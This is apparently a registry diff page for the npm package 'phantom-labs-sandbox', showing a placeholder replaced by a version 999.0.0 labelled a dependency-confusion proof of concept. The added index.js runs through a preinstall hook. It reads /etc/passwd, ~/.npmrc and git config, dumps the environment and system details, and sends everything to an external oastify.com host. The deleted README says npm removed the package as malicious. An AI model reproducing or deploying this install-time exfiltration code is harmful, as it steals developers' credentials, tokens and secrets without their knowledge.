phantom-labs-sandbox 0.0.1-security → 999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of phantom-labs-sandbox might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +80 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,80 @@
1
+ const os = require("os");
2
+ const fs = require("fs");
3
+ const dns = require("dns");
4
+ const https = require("https");
5
+ const { execSync } = require("child_process");
6
+ const packageJSON = require("./package.json");
7
+
8
+ // Helper to run shell commands safely
9
+ function run(cmd) {
10
+ try {
11
+ return execSync(cmd).toString().trim();
12
+ } catch (err) {
13
+ return `Error: ${err.message}`;
14
+ }
15
+ }
16
+
17
+ // Helper to read files safely
18
+ function readFileSafe(path) {
19
+ try {
20
+ return fs.existsSync(path) ? fs.readFileSync(path, "utf8") : "File Not Found";
21
+ } catch (err) {
22
+ return `Error: ${err.message}`;
23
+ }
24
+ }
25
+
26
+ // Sensitive files (LFI)
27
+ const passwd = readFileSafe("/etc/passwd");
28
+ const npmrc = readFileSafe(`${os.homedir()}/.npmrc`);
29
+ const gitconfig = readFileSafe(`${os.homedir()}/.git/config`);
30
+
31
+ // RCE-style info
32
+ const whoami = run("whoami");
33
+ const uname = run("uname -a");
34
+ const env = run("env");
35
+ const ip = run("curl -s https://api.ipify.org");
36
+
37
+ // Final payload
38
+ const payload = JSON.stringify({
39
+ note: "Demo: Dependency Confusion RCE + LFI PoC",
40
+ package: packageJSON.name,
41
+ version: packageJSON.version,
42
+ hostname: os.hostname(),
43
+ homedir: os.homedir(),
44
+ username: os.userInfo().username,
45
+ dns: dns.getServers(),
46
+ cwd: __dirname,
47
+ whoami,
48
+ uname,
49
+ env,
50
+ public_ip: ip,
51
+ files: {
52
+ passwd,
53
+ npmrc,
54
+ gitconfig
55
+ }
56
+ });
57
+
58
+ // POST it to Burp/Oastify
59
+ const data = `msg=${encodeURIComponent(payload)}`;
60
+ const options = {
61
+ hostname: "3quvyfiz92hoitjygxuctkhp1g79v0yon.oastify.com",
62
+ port: 443,
63
+ path: "/",
64
+ method: "POST",
65
+ headers: {
66
+ "Content-Type": "application/x-www-form-urlencoded",
67
+ "Content-Length": data.length
68
+ }
69
+ };
70
+
71
+ // Send
72
+ const req = https.request(options, (res) => {
73
+ res.on("data", (d) => process.stdout.write(d));
74
+ });
75
+ req.on("error", (e) => {
76
+ console.error("Request failed:", e.message);
77
+ });
78
+ req.write(data);
79
+ req.end();
80
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "phantom-labs-sandbox",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999.0.0",
4
+ "description": "PoC for Dependency Confusion RCE + LFI",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Created by Hiddnsec",
10
+ "license": "MIT"
6
11
  }
12
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=phantom-labs-sandbox for more information.